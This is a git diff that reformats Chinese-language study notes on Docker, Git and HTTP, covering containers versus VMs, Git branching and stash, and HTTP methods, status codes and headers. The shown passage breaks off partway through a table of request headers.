+<img src="pics/7e873b60-44dc-4911-b080-defd5b8f0b49.png" width="250"/>
 
-## 启动速度
+## 启动速度
 
 启动虚拟机需要启动虚拟机的操作系统，再启动应用，这个过程非常慢；
 
-而启动 Docker 相当于启动宿主操作系统上的一个进程。
+而启动 Docker 相当于启动宿主操作系统上的一个进程。
 
-## 占用资源
+## 占用资源
 
-虚拟机是一个完整的操作系统，需要占用大量的磁盘、内存和 CPU，一台机器只能开启几十个的虚拟机。
+虚拟机是一个完整的操作系统，需要占用大量的磁盘、内存和 CPU，一台机器只能开启几十个的虚拟机。
 
-而 Docker 只是一个进程，只需要将应用以及相关的组件打包，在运行时占用很少的资源，一台机器可以开启成千上万个 Docker。
+而 Docker 只是一个进程，只需要将应用以及相关的组件打包，在运行时占用很少的资源，一台机器可以开启成千上万个 Docker。
 
-# 三、优势
+# 三、优势
 
-除了启动速度快以及占用资源少之外，Docker 具有以下优势：
+除了启动速度快以及占用资源少之外，Docker 具有以下优势：
 
-## 更容易迁移
+## 更容易迁移
 
 提供一致性的运行环境，可以在不同的机器上进行迁移，而不用担心环境变化导致无法运行。
 
-## 更容易维护
+## 更容易维护
 
 使用分层技术和镜像，使得应用可以更容易复用重复部分。复用程度越高，维护工作也越容易。
 
-## 更容易扩展
+## 更容易扩展
 
 可以使用基础镜像进一步扩展得到新的镜像，并且官方和开源社区提供了大量的镜像，通过扩展这些镜像可以非常容易得到我们想要的镜像。
 
-# 四、使用场景
+# 四、使用场景
 
-## 持续集成
+## 持续集成
 
 持续集成指的是频繁地将代码集成到主干上，这样能够更快地发现错误。
 
-Docker 具有轻量级以及隔离性的特点，在将代码集成到一个 Docker 中不会对其它 Docker 产生影响。
+Docker 具有轻量级以及隔离性的特点，在将代码集成到一个 Docker 中不会对其它 Docker 产生影响。
 
-## 提供可伸缩的云服务
+## 提供可伸缩的云服务
 
-根据应用的负载情况，可以很容易地增加或者减少 Docker。
+根据应用的负载情况，可以很容易地增加或者减少 Docker。
 
-## 搭建微服务架构
+## 搭建微服务架构
 
-Docker 轻量级的特点使得它很适合用于部署、维护、组合微服务。
+Docker 轻量级的特点使得它很适合用于部署、维护、组合微服务。
 
-# 五、镜像与容器
+# 五、镜像与容器
 
 镜像是一种静态的结构，可以看成面向对象里面的类，而容器是镜像的一个实例。
 
-镜像包含着容器运行时所需要的代码以及其它组件，它是一种分层结构，每一层都是只读的（read-only layers）。构建镜像时，会一层一层构建，前一层是后一层的基础。镜像的这种分层存储结构很适合镜像的复用以及定制。
+镜像包含着容器运行时所需要的代码以及其它组件，它是一种分层结构，每一层都是只读的（read-only layers）。构建镜像时，会一层一层构建，前一层是后一层的基础。镜像的这种分层存储结构很适合镜像的复用以及定制。
 
-构建容器时，通过在镜像的基础上添加一个可写层（writable layer），用来保存着容器运行过程中的修改。
+构建容器时，通过在镜像的基础上添加一个可写层（writable layer），用来保存着容器运行过程中的修改。
 
-<div align="center"> <img src="pics/docker-filesystems-busyboxrw.png"/> </div><br>
+![](pics/docker-filesystems-busyboxrw.png)
 
-# 参考资料
+# 参考资料
 
-- [DOCKER 101: INTRODUCTION TO DOCKER WEBINAR RECAP](https://blog.docker.com/2017/08/docker-101-introduction-docker-webinar-recap/)
-- [Docker 入门教程](http://www.ruanyifeng.com/blog/2018/02/docker-tutorial.html)
-- [Docker container vs Virtual machine](http://www.bogotobogo.com/DevOps/Docker/Docker_Container_vs_Virtual_Machine.php)
-- [How to Create Docker Container using Dockerfile](https://linoxide.com/linux-how-to/dockerfile-create-docker-container/)
-- [理解 Docker（2）：Docker 镜像](http://www.cnblogs.com/sammyliu/p/5877964.html)
-- [为什么要使用 Docker？](https://yeasy.gitbooks.io/docker_practice/introduction/why.html)
-- [What is Docker](https://www.docker.com/what-docker)
-- [持续集成是什么？](http://www.ruanyifeng.com/blog/2015/09/continuous-integration.html)
+- [DOCKER 101: INTRODUCTION TO DOCKER WEBINAR RECAP](https://blog.docker.com/2017/08/docker-101-introduction-docker-webinar-recap/)
+- [Docker 入门教程](http://www.ruanyifeng.com/blog/2018/02/docker-tutorial.html)
+- [Docker container vs Virtual machine](http://www.bogotobogo.com/DevOps/Docker/Docker_Container_vs_Virtual_Machine.php)
+- [How to Create Docker Container using Dockerfile](https://linoxide.com/linux-how-to/dockerfile-create-docker-container/)
+- [理解 Docker（2）：Docker 镜像](http://www.cnblogs.com/sammyliu/p/5877964.html)
+- [为什么要使用 Docker？](https://yeasy.gitbooks.io/docker_practice/introduction/why.html)
+- [What is Docker](https://www.docker.com/what-docker)
+- [持续集成是什么？](http://www.ruanyifeng.com/blog/2015/09/continuous-integration.html)
 
+---bottom---CyC---
+![](pics/011f3ef6-d824-4d43-8b2c-36dab8eaaa72-1.png)
+![](pics/71f61bc3-582d-4c27-8bdd-dc7fb135bf8f.png)
+![](pics/7e873b60-44dc-4911-b080-defd5b8f0b49.png)
+![](pics/docker-filesystems-busyboxrw.png)
diff --git a/docs/notes/Git.md b/docs/notes/Git.md
index a594d197..0c6a29fa 100644
--- a/docs/notes/Git.md
+++ b/docs/notes/Git.md
@@ -1,23 +1,6 @@
-[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
-<!-- GFM-TOC -->
-* [集中式与分布式](#集中式与分布式)
-* [中心服务器](#中心服务器)
-* [工作流](#工作流)
-* [分支实现](#分支实现)
-* [冲突](#冲突)
-* [Fast forward](#fast-forward)
-* [分支管理策略](#分支管理策略)
-* [储藏（Stashing）](#储藏stashing)
-* [SSH 传输设置](#ssh-传输设置)
-* [.gitignore 文件](#gitignore-文件)
-* [Git 命令一览](#git-命令一览)
-* [参考资料](#参考资料)
-<!-- GFM-TOC -->
+# 集中式与分布式
 
-
-# 集中式与分布式
-
-Git 属于分布式版本控制系统，而 SVN 属于集中式。
+Git 属于分布式版本控制系统，而 SVN 属于集中式。
 
 集中式版本控制只有中心服务器拥有一份代码，而分布式版本控制每个人的电脑上就有一份完整的代码。
 
@@ -27,133 +10,133 @@ Git 属于分布式版本控制系统，而 SVN 属于集中式。
 
 分布式版本控制新建分支、合并分支操作速度非常快，而集中式版本控制新建一个分支相当于复制一份完整代码。
 
-# 中心服务器
+# 中心服务器
 
-中心服务器用来交换每个用户的修改，没有中心服务器也能工作，但是中心服务器能够 24 小时保持开机状态，这样就能更方便的交换修改。
+中心服务器用来交换每个用户的修改，没有中心服务器也能工作，但是中心服务器能够 24 小时保持开机状态，这样就能更方便的交换修改。
 
-Github 就是一个中心服务器。
+Github 就是一个中心服务器。
 
-# 工作流
+# 工作流
 
-<div align="center"> <img src="pics/a1198642-9159-4d88-8aec-c3b04e7a2563.jpg"/> </div><br>
+![](index_files/a1198642-9159-4d88-8aec-c3b04e7a2563.jpg)
 
-新建一个仓库之后，当前目录就成为了工作区，工作区下有一个隐藏目录 .git，它属于 Git 的版本库。
+新建一个仓库之后，当前目录就成为了工作区，工作区下有一个隐藏目录 .git，它属于 Git 的版本库。
 
-Git 版本库有一个称为 stage 的暂存区，还有自动创建的 master 分支以及指向分支的 HEAD 指针。
+Git 版本库有一个称为 stage 的暂存区，还有自动创建的 master 分支以及指向分支的 HEAD 指针。
 
-<div align="center"> <img src="pics/46f66e88-e65a-4ad0-a060-3c63fe22947c.png"/> </div><br>
+![](index_files/46f66e88-e65a-4ad0-a060-3c63fe22947c.png)
 
-- git add files 把文件的修改添加到暂存区
-- git commit 把暂存区的修改提交到当前分支，提交之后暂存区就被清空了
-- git reset -- files 使用当前分支上的修改覆盖暂存区，用来撤销最后一次 git add files
-- git checkout -- files 使用暂存区的修改覆盖工作目录，用来撤销本地修改
+- git add files 把文件的修改添加到暂存区
+- git commit 把暂存区的修改提交到当前分支，提交之后暂存区就被清空了
+- git reset -- files 使用当前分支上的修改覆盖暂存区，用来撤销最后一次 git add files
+- git checkout -- files 使用暂存区的修改覆盖工作目录，用来撤销本地修改
 
-<div align="center"> <img src="pics/17976404-95f5-480e-9cb4-250e6aa1d55f.png"/> </div><br>
+![](index_files/17976404-95f5-480e-9cb4-250e6aa1d55f.png)
 
 可以跳过暂存区域直接从分支中取出修改，或者直接提交修改到分支中。
 
-- git commit -a 直接把所有文件的修改添加到暂存区然后执行提交
-- git checkout HEAD -- files 取出最后一次修改，可以用来进行回滚操作
+- git commit -a 直接把所有文件的修改添加到暂存区然后执行提交
+- git checkout HEAD -- files 取出最后一次修改，可以用来进行回滚操作
 
-# 分支实现
+# 分支实现
 
-使用指针将每个提交连接成一条时间线，HEAD 指针指向当前分支指针。
+使用指针将每个提交连接成一条时间线，HEAD 指针指向当前分支指针。
 
-<div align="center"> <img src="pics/fb546e12-e1fb-4b72-a1fb-8a7f5000dce6.jpg"/> </div><br>
+![](index_files/fb546e12-e1fb-4b72-a1fb-8a7f5000dce6.jpg)
 
-新建分支是新建一个指针指向时间线的最后一个节点，并让 HEAD 指针指向新分支表示新分支成为当前分支。
+新建分支是新建一个指针指向时间线的最后一个节点，并让 HEAD 指针指向新分支表示新分支成为当前分支。
 
-<div align="center"> <img src="pics/bc775758-89ab-4805-9f9c-78b8739cf780.jpg"/> </div><br>
+![](index_files/bc775758-89ab-4805-9f9c-78b8739cf780.jpg)
 
 每次提交只会让当前分支指针向前移动，而其它分支指针不会移动。
 
-<div align="center"> <img src="pics/5292faa6-0141-4638-bf0f-bb95b081dcba.jpg"/> </div><br>
+![](index_files/5292faa6-0141-4638-bf0f-bb95b081dcba.jpg)
 
 合并分支也只需要改变指针即可。
 
-<div align="center"> <img src="pics/1164a71f-413d-494a-9cc8-679fb6a2613d.jpg"/> </div><br>
+![](index_files/1164a71f-413d-494a-9cc8-679fb6a2613d.jpg)
 
-# 冲突
+# 冲突
 
 当两个分支都对同一个文件的同一行进行了修改，在分支合并时就会产生冲突。
 
-<div align="center"> <img src="pics/58e57a21-6b6b-40b6-af85-956dd4e0f55a.jpg"/> </div><br>
+![](index_files/58e57a21-6b6b-40b6-af85-956dd4e0f55a.jpg)
 
-Git 会使用 <<<<<<< ，======= ，>>>>>>> 标记出不同分支的内容，只需要把不同分支中冲突部分修改成一样就能解决冲突。
+Git 会使用 <<<<<<< ，======= ，>>>>>>> 标记出不同分支的内容，只需要把不同分支中冲突部分修改成一样就能解决冲突。
 
 ```
-<<<<<<< HEAD
-Creating a new branch is quick & simple.
+<<<<<<< HEAD
+Creating a new branch is quick & simple.
 =======
-Creating a new branch is quick AND simple.
->>>>>>> feature1
+Creating a new branch is quick AND simple.
+>>>>>>> feature1
 ```
 
-# Fast forward
+# Fast forward
 
-"快进式合并"（fast-farward merge），会直接将 master 分支指向合并的分支，这种模式下进行分支合并会丢失分支信息，也就不能在分支历史上看出分支信息。
+"快进式合并"（fast-farward merge），会直接将 master 分支指向合并的分支，这种模式下进行分支合并会丢失分支信息，也就不能在分支历史上看出分支信息。
 
-可以在合并时加上 --no-ff 参数来禁用 Fast forward 模式，并且加上 -m 参数让合并时产生一个新的 commit。
+可以在合并时加上 --no-ff 参数来禁用 Fast forward 模式，并且加上 -m 参数让合并时产生一个新的 commit。
 
 ```
-$ git merge --no-ff -m "merge with no-ff" dev
+$ git merge --no-ff -m "merge with no-ff" dev
 ```
 
-<div align="center"> <img src="pics/dd78a1fe-1ff3-4bcf-a56f-8c003995beb6.jpg"/> </div><br>
+![](index_files/dd78a1fe-1ff3-4bcf-a56f-8c003995beb6.jpg)
 
-# 分支管理策略
+# 分支管理策略
 
-master 分支应该是非常稳定的，只用来发布新版本；
+master 分支应该是非常稳定的，只用来发布新版本；
 
-日常开发在开发分支 dev 上进行。
+日常开发在开发分支 dev 上进行。
 
-<div align="center"> <img src="pics/245fd2fb-209c-4ad5-bc5e-eb5664966a0e.jpg"/> </div><br>
+![](index_files/245fd2fb-209c-4ad5-bc5e-eb5664966a0e.jpg)
 
-# 储藏（Stashing）
+# 储藏（Stashing）
 
 在一个分支上操作之后，如果还没有将修改提交到分支上，此时进行切换分支，那么另一个分支上也能看到新的修改。这是因为所有分支都共用一个工作区的缘故。
 
-可以使用 git stash 将当前分支的修改储藏起来，此时当前工作区的所有修改都会被存到栈上，也就是说当前工作区是干净的，没有任何未提交的修改。此时就可以安全的切换到其它分支上了。
+可以使用 git stash 将当前分支的修改储藏起来，此时当前工作区的所有修改都会被存到栈上，也就是说当前工作区是干净的，没有任何未提交的修改。此时就可以安全的切换到其它分支上了。
 
 ```
-$ git stash
-Saved working directory and index state \ "WIP on master: 049d078 added the index file"
-HEAD is now at 049d078 added the index file (To restore them type "git stash apply")
+$ git stash
+Saved working directory and index state \ "WIP on master: 049d078 added the index file"
+HEAD is now at 049d078 added the index file (To restore them type "git stash apply")
 ```
 
-该功能可以用于 bug 分支的实现。如果当前正在 dev 分支上进行开发，但是此时 master 上有个 bug 需要修复，但是 dev 分支上的开发还未完成，不想立即提交。在新建 bug 分支并切换到 bug 分支之前就需要使用 git stash 将 dev 分支的未提交修改储藏起来。
+该功能可以用于 bug 分支的实现。如果当前正在 dev 分支上进行开发，但是此时 master 上有个 bug 需要修复，但是 dev 分支上的开发还未完成，不想立即提交。在新建 bug 分支并切换到 bug 分支之前就需要使用 git stash 将 dev 分支的未提交修改储藏起来。
 
-# SSH 传输设置
+# SSH 传输设置
 
-Git 仓库和 Github 中心仓库之间的传输是通过 SSH 加密。
+Git 仓库和 Github 中心仓库之间的传输是通过 SSH 加密。
 
-如果工作区下没有 .ssh 目录，或者该目录下没有 id_rsa 和 id_rsa.pub 这两个文件，可以通过以下命令来创建 SSH Key：
+如果工作区下没有 .ssh 目录，或者该目录下没有 id_rsa 和 id_rsa.pub 这两个文件，可以通过以下命令来创建 SSH Key：
 
 ```
-$ ssh-keygen -t rsa -C "youremail@example.com"
+$ ssh-keygen -t rsa -C "youremail@example.com"
 ```
 
-然后把公钥 id_rsa.pub 的内容复制到 Github "Account settings" 的 SSH Keys 中。
+然后把公钥 id_rsa.pub 的内容复制到 Github "Account settings" 的 SSH Keys 中。
 
-# .gitignore 文件
+# .gitignore 文件
 
 忽略以下文件：
 
-- 操作系统自动生成的文件，比如缩略图；
-- 编译生成的中间文件，比如 Java 编译产生的 .class 文件；
-- 自己的敏感信息，比如存放口令的配置文件。
+- 操作系统自动生成的文件，比如缩略图；
+- 编译生成的中间文件，比如 Java 编译产生的 .class 文件；
+- 自己的敏感信息，比如存放口令的配置文件。
 
-不需要全部自己编写，可以到 [https://github.com/github/gitignore](https://github.com/github/gitignore) 中进行查询。
+不需要全部自己编写，可以到 [https://github.com/github/gitignore](https://github.com/github/gitignore) 中进行查询。
 
-# Git 命令一览
+# Git 命令一览
 
-<div align="center"> <img src="pics/7a29acce-f243-4914-9f00-f2988c528412.jpg"/> </div><br>
+![](index_files/7a29acce-f243-4914-9f00-f2988c528412.jpg)
 
 比较详细的地址：http://www.cheat-sheets.org/saved-copy/git-cheat-sheet.pdf
 
-# 参考资料
+# 参考资料
 
-- [Git - 简明指南](http://rogerdudler.github.io/git-guide/index.zh.html)
-- [图解 Git](http://marklodato.github.io/visual-git-guide/index-zh-cn.html)
-- [廖雪峰 : Git 教程](https://www.liaoxuefeng.com/wiki/0013739516305929606dd18361248578c67b8067c8c017b000)
-- [Learn Git Branching](https://learngitbranching.js.org/)
+- [Git - 简明指南](http://rogerdudler.github.io/git-guide/index.zh.html)
+- [图解 Git](http://marklodato.github.io/visual-git-guide/index-zh-cn.html)
+- [廖雪峰 : Git 教程](https://www.liaoxuefeng.com/wiki/0013739516305929606dd18361248578c67b8067c8c017b000)
+- [Learn Git Branching](https://learngitbranching.js.org/)
diff --git a/docs/notes/HTTP.md b/docs/notes/HTTP.md
index 67bc68ad..aa833d6f 100644
--- a/docs/notes/HTTP.md
+++ b/docs/notes/HTTP.md
@@ -1,884 +1,842 @@
-[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
-<!-- GFM-TOC -->
-* [一 、基础概念](#一-基础概念)
-    * [URI](#uri)
-    * [请求和响应报文](#请求和响应报文)
-* [二、HTTP 方法](#二http-方法)
-    * [GET](#get)
-    * [HEAD](#head)
-    * [POST](#post)
-    * [PUT](#put)
-    * [PATCH](#patch)
-    * [DELETE](#delete)
-    * [OPTIONS](#options)
-    * [CONNECT](#connect)
-    * [TRACE](#trace)
-* [三、HTTP 状态码](#三http-状态码)
-    * [1XX 信息](#1xx-信息)
-    * [2XX 成功](#2xx-成功)
-    * [3XX 重定向](#3xx-重定向)
-    * [4XX 客户端错误](#4xx-客户端错误)
-    * [5XX 服务器错误](#5xx-服务器错误)
-* [四、HTTP 首部](#四http-首部)
-    * [通用首部字段](#通用首部字段)
-    * [请求首部字段](#请求首部字段)
-    * [响应首部字段](#响应首部字段)
-    * [实体首部字段](#实体首部字段)
-* [五、具体应用](#五具体应用)
-    * [连接管理](#连接管理)
-    * [Cookie](#cookie)
-    * [缓存](#缓存)
-    * [内容协商](#内容协商)
-    * [内容编码](#内容编码)
-    * [范围请求](#范围请求)
-    * [分块传输编码](#分块传输编码)
-    * [多部分对象集合](#多部分对象集合)
-    * [虚拟主机](#虚拟主机)
-    * [通信数据转发](#通信数据转发)
-* [六、HTTPs](#六https)
-    * [加密](#加密)
-    * [认证](#认证)
-    * [完整性保护](#完整性保护)
-    * [HTTPs 的缺点](#https-的缺点)
-* [七、HTTP/2.0](#七http20)
-    * [HTTP/1.x 缺陷](#http1x-缺陷)
-    * [二进制分帧层](#二进制分帧层)
-    * [服务端推送](#服务端推送)
-    * [首部压缩](#首部压缩)
-* [八、HTTP/1.1 新特性](#八http11-新特性)
-* [九、GET 和 POST 比较](#九get-和-post-比较)
-    * [作用](#作用)
-    * [参数](#参数)
-    * [安全](#安全)
-    * [幂等性](#幂等性)
-    * [可缓存](#可缓存)
-    * [XMLHttpRequest](#xmlhttprequest)
-* [参考资料](#参考资料)
-<!-- GFM-TOC -->
+# 一 、基础概念
 
+## URI
 
-# 一 、基础概念
+URI 包含 URL 和 URN。
 
-## URI
+- URI（Uniform Resource Identifier，统一资源标识符）
+- URL（Uniform Resource Locator，统一资源定位符）
+- URN（Uniform Resource Name，统一资源名称）
 
-URI 包含 URL 和 URN。
+<img src="index_files/766d401b-3cf6-475c-8ced-ea8c8db8edc5.png" width="700"/>
 
-- URI（Uniform Resource Identifier，统一资源标识符）
-- URL（Uniform Resource Locator，统一资源定位符）
-- URN（Uniform Resource Name，统一资源名称）
+## 请求和响应报文
 
-<div align="center"> <img src="pics/766d401b-3cf6-475c-8ced-ea8c8db8edc5.png" width="700"/> </div><br>
+### 1. 请求报文
 
-## 请求和响应报文
+<img src="index_files/HTTP_RequestMessageExample.png" width=""/>
 
-### 1. 请求报文
+### 2. 响应报文
 
-<div align="center"> <img src="pics/HTTP_RequestMessageExample.png" width=""/> </div><br>
+<img src="index_files/HTTP_ResponseMessageExample.png" width=""/>
 
-### 2. 响应报文
+# 二、HTTP 方法
 
-<div align="center"> <img src="pics/HTTP_ResponseMessageExample.png" width=""/> </div><br>
+客户端发送的 **请求报文** 第一行为请求行，包含了方法字段。
 
-# 二、HTTP 方法
+## GET
 
-客户端发送的  **请求报文**  第一行为请求行，包含了方法字段。
+> 获取资源
 
-## GET
+当前网络请求中，绝大部分使用的是 GET 方法。
 
-> 获取资源
+## HEAD
 
-当前网络请求中，绝大部分使用的是 GET 方法。
+> 获取报文首部
 
-## HEAD
+和 GET 方法类似，但是不返回报文实体主体部分。
 
-> 获取报文首部
+主要用于确认 URL 的有效性以及资源更新的日期时间等。
 
-和 GET 方法类似，但是不返回报文实体主体部分。
+## POST
 
-主要用于确认 URL 的有效性以及资源更新的日期时间等。
+> 传输实体主体
 
-## POST
+POST 主要用来传输数据，而 GET 主要用来获取资源。
 
-> 传输实体主体
+更多 POST 与 GET 的比较请见第九章。
 
-POST 主要用来传输数据，而 GET 主要用来获取资源。
+## PUT
 
-更多 POST 与 GET 的比较请见第九章。
-
-## PUT
-
-> 上传文件
+> 上传文件
 
 由于自身不带验证机制，任何人都可以上传文件，因此存在安全性问题，一般不使用该方法。
 
 ```html
-PUT /new.html HTTP/1.1
-Host: example.com
-Content-type: text/html
-Content-length: 16
+PUT /new.html HTTP/1.1
+Host: example.com
+Content-type: text/html
+Content-length: 16
 
-<p>New File</p>
+<p>New File</p>
 ```
 
-## PATCH
+## PATCH
 
-> 对资源进行部分修改
+> 对资源进行部分修改
 
-PUT 也可以用于修改资源，但是只能完全替代原始资源，PATCH 允许部分修改。
+PUT 也可以用于修改资源，但是只能完全替代原始资源，PATCH 允许部分修改。
 
 ```html
-PATCH /file.txt HTTP/1.1
-Host: www.example.com
-Content-Type: application/example
-If-Match: "e0023aa4e"
-Content-Length: 100
+PATCH /file.txt HTTP/1.1
+Host: www.example.com
+Content-Type: application/example
+If-Match: "e0023aa4e"
+Content-Length: 100
 
-[description of changes]
+[description of changes]
 ```
 
-## DELETE
+## DELETE
 
-> 删除文件
+> 删除文件
 
-与 PUT 功能相反，并且同样不带验证机制。
+与 PUT 功能相反，并且同样不带验证机制。
 
 ```html
-DELETE /file.html HTTP/1.1
+DELETE /file.html HTTP/1.1
 ```
 
-## OPTIONS
+## OPTIONS
 
-> 查询支持的方法
+> 查询支持的方法
 
-查询指定的 URL 能够支持的方法。
+查询指定的 URL 能够支持的方法。
 
-会返回 `Allow: GET, POST, HEAD, OPTIONS` 这样的内容。
+会返回 `Allow: GET, POST, HEAD, OPTIONS` 这样的内容。
 
-## CONNECT
+## CONNECT
 
-> 要求在与代理服务器通信时建立隧道
+> 要求在与代理服务器通信时建立隧道
 
-使用 SSL（Secure Sockets Layer，安全套接层）和 TLS（Transport Layer Security，传输层安全）协议把通信内容加密后经网络隧道传输。
+使用 SSL（Secure Sockets Layer，安全套接层）和 TLS（Transport Layer Security，传输层安全）协议把通信内容加密后经网络隧道传输。
 
 ```html
-CONNECT www.example.com:443 HTTP/1.1
+CONNECT www.example.com:443 HTTP/1.1
 ```
 
-<div align="center"> <img src="pics/dc00f70e-c5c8-4d20-baf1-2d70014a97e3.jpg" width=""/> </div><br>
+<img src="index_files/dc00f70e-c5c8-4d20-baf1-2d70014a97e3.jpg" width=""/>
 
-## TRACE
+## TRACE
 
-> 追踪路径
+> 追踪路径
 
 服务器会将通信路径返回给客户端。
 
-发送请求时，在 Max-Forwards 首部字段中填入数值，每经过一个服务器就会减 1，当数值为 0 时就停止传输。
+发送请求时，在 Max-Forwards 首部字段中填入数值，每经过一个服务器就会减 1，当数值为 0 时就停止传输。
 
-通常不会使用 TRACE，并且它容易受到 XST 攻击（Cross-Site Tracing，跨站追踪）。
+通常不会使用 TRACE，并且它容易受到 XST 攻击（Cross-Site Tracing，跨站追踪）。
 
-# 三、HTTP 状态码
+# 三、HTTP 状态码
 
-服务器返回的  **响应报文**  中第一行为状态行，包含了状态码以及原因短语，用来告知客户端请求的结果。
+服务器返回的 **响应报文** 中第一行为状态行，包含了状态码以及原因短语，用来告知客户端请求的结果。
 
-| 状态码 | 类别 | 含义 |
-| :---: | :---: | :---: |
-| 1XX | Informational（信息性状态码） | 接收的请求正在处理 |
-| 2XX | Success（成功状态码） | 请求正常处理完毕 |
-| 3XX | Redirection（重定向状态码） | 需要进行附加操作以完成请求 |
-| 4XX | Client Error（客户端错误状态码） | 服务器无法处理请求 |
-| 5XX | Server Error（服务器错误状态码） | 服务器处理请求出错 |
+| 状态码 | 类别 | 含义 |
+| :---: | :---: | :---: |
+| 1XX | Informational（信息性状态码） | 接收的请求正在处理 |
+| 2XX | Success（成功状态码） | 请求正常处理完毕 |
+| 3XX | Redirection（重定向状态码） | 需要进行附加操作以完成请求 |
+| 4XX | Client Error（客户端错误状态码） | 服务器无法处理请求 |
+| 5XX | Server Error（服务器错误状态码） | 服务器处理请求出错 |
 
-## 1XX 信息
+## 1XX 信息
 
--  **100 Continue** ：表明到目前为止都很正常，客户端可以继续发送请求或者忽略这个响应。
+- **100 Continue**：表明到目前为止都很正常，客户端可以继续发送请求或者忽略这个响应。
 
-## 2XX 成功
+## 2XX 成功
 
--  **200 OK** 
+- **200 OK**
 
--  **204 No Content** ：请求已经成功处理，但是返回的响应报文不包含实体的主体部分。一般在只需要从客户端往服务器发送信息，而不需要返回数据时使用。
+- **204 No Content**：请求已经成功处理，但是返回的响应报文不包含实体的主体部分。一般在只需要从客户端往服务器发送信息，而不需要返回数据时使用。
 
--  **206 Partial Content** ：表示客户端进行了范围请求，响应报文包含由 Content-Range 指定范围的实体内容。
+- **206 Partial Content**：表示客户端进行了范围请求，响应报文包含由 Content-Range 指定范围的实体内容。
 
-## 3XX 重定向
+## 3XX 重定向
 
--  **301 Moved Permanently** ：永久性重定向
+- **301 Moved Permanently**：永久性重定向
 
--  **302 Found** ：临时性重定向
+- **302 Found**：临时性重定向
 
--  **303 See Other** ：和 302 有着相同的功能，但是 303 明确要求客户端应该采用 GET 方法获取资源。
+- **303 See Other**：和 302 有着相同的功能，但是 303 明确要求客户端应该采用 GET 方法获取资源。
 
-- 注：虽然 HTTP 协议规定 301、302 状态下重定向时不允许把 POST 方法改成 GET 方法，但是大多数浏览器都会在 301、302 和 303 状态下的重定向把 POST 方法改成 GET 方法。
+- 注：虽然 HTTP 协议规定 301、302 状态下重定向时不允许把 POST 方法改成 GET 方法，但是大多数浏览器都会在 301、302 和 303 状态下的重定向把 POST 方法改成 GET 方法。
 
--  **304 Not Modified** ：如果请求报文首部包含一些条件，例如：If-Match，If-Modified-Since，If-None-Match，If-Range，If-Unmodified-Since，如果不满足条件，则服务器会返回 304 状态码。
+- **304 Not Modified**：如果请求报文首部包含一些条件，例如：If-Match，If-Modified-Since，If-None-Match，If-Range，If-Unmodified-Since，如果不满足条件，则服务器会返回 304 状态码。
 
--  **307 Temporary Redirect** ：临时重定向，与 302 的含义类似，但是 307 要求浏览器不会把重定向请求的 POST 方法改成 GET 方法。
+- **307 Temporary Redirect**：临时重定向，与 302 的含义类似，但是 307 要求浏览器不会把重定向请求的 POST 方法改成 GET 方法。
 
-## 4XX 客户端错误
+## 4XX 客户端错误
 
--  **400 Bad Request** ：请求报文中存在语法错误。
+- **400 Bad Request**：请求报文中存在语法错误。
 
--  **401 Unauthorized** ：该状态码表示发送的请求需要有认证信息（BASIC 认证、DIGEST 认证）。如果之前已进行过一次请求，则表示用户认证失败。
+- **401 Unauthorized**：该状态码表示发送的请求需要有认证信息（BASIC 认证、DIGEST 认证）。如果之前已进行过一次请求，则表示用户认证失败。
 
--  **403 Forbidden** ：请求被拒绝。
+- **403 Forbidden**：请求被拒绝。
 
--  **404 Not Found** 
+- **404 Not Found**
 
-## 5XX 服务器错误
+## 5XX 服务器错误
 
--  **500 Internal Server Error** ：服务器正在执行请求时发生错误。
+- **500 Internal Server Error**：服务器正在执行请求时发生错误。
 
--  **503 Service Unavailable** ：服务器暂时处于超负载或正在进行停机维护，现在无法处理请求。
+- **503 Service Unavailable**：服务器暂时处于超负载或正在进行停机维护，现在无法处理请求。
 
-# 四、HTTP 首部
+# 四、HTTP 首部
 
-有 4 种类型的首部字段：通用首部字段、请求首部字段、响应首部字段和实体首部字段。
+有 4 种类型的首部字段：通用首部字段、请求首部字段、响应首部字段和实体首部字段。
 
 各种首部字段及其含义如下（不需要全记，仅供查阅）：
 
-## 通用首部字段
+## 通用首部字段
 
-| 首部字段名 | 说明 |
-| :--: | :--: |
-| Cache-Control | 控制缓存的行为 |
-| Connection | 控制不再转发给代理的首部字段、管理持久连接|
-| Date | 创建报文的日期时间 |
-| Pragma | 报文指令 |
-| Trailer | 报文末端的首部一览 |
-| Transfer-Encoding | 指定报文主体的传输编码方式 |
-| Upgrade | 升级为其他协议 |
-| Via | 代理服务器的相关信息 |
-| Warning | 错误通知 |
+| 首部字段名 | 说明 |
+| :--: | :--: |
+| Cache-Control | 控制缓存的行为 |
+| Connection | 控制不再转发给代理的首部字段、管理持久连接|
+| Date | 创建报文的日期时间 |
+| Pragma | 报文指令 |
+| Trailer | 报文末端的首部一览 |
+| Transfer-Encoding | 指定报文主体的传输编码方式 |
+| Upgrade | 升级为其他协议 |
+| Via | 代理服务器的相关信息 |
+| Warning | 错误通知 |
 
-## 请求首部字段
+## 请求首部字段
 
-| 首部字段名 | 说明 |
-| :--: | :--: |
-| Accept | 用户代理可处理的媒体类型 |
-| Accept-Charset | 优先的字符集 |
-| Accept-Encoding | 优先的内容编码 |
-| Accept-Language | 优先的语言（自然语言） |
-| Authorization | Web 认证信息 |
-| Expect | 期待服务器的特定行为 |
-| From | 用户的电子邮箱地址 |
-| Host | 请求资源所在服务器 |
-| If-Match | 比较实体标记（ETag） |
-| If-Modified-Since | 比较资源的更新时间 |
-| If-None-Match | 比较实体标记（与 If-Match 相反） |
-| If-Range | 资源未更新时发送实体 Byte 的范围请求 |
-| If-Unmodified-Since | 比较资源的更新时间（与 If-Modified-Since 相反） |
-| Max-Forwards | 最大传输逐跳数 |
-| Proxy-Authorization | 代理服务器要求客户端的认证信息 |
-| Range | 实体的字节范围请求 |
-| Referer | 对请求中 URI 的原始获取方 |
-| TE | 传输编码的优先级 |
-| User-Agent | HTTP 客户端程序的信息 |
+| 首部字段名 | 说明 |
+| :--: | :--: |
+| Accept | 用户代理可处理的媒体类型 |
+| Accept-Charset | 优先的字符集 |
+| Accept-Encoding | 优先的内容编码 |
+| Accept-Language | 优先的语言（自然语言） |
+| Authorization | Web 认证信息 |
+| Expect | 期待服务器的特定行为 |
+| From | 用户的电子邮箱地址 |
+| Host | 请求资源所在服务器 |
+| If-Match | 比较实体标记（ETag） |
+| If-Modified-Since | 比较资源的更新时间 |
+| If-None-Match | 比较实体标记（与 If-Match 相反） |
+| If-Range | 资源未更新时发送实体 Byte 的范围请求 |
+| If-Unmodified-Since | 比较资源的更新时间（与 If-Modified-Since 相反） |
+| Max-Forwards | 最大传输逐跳数 |
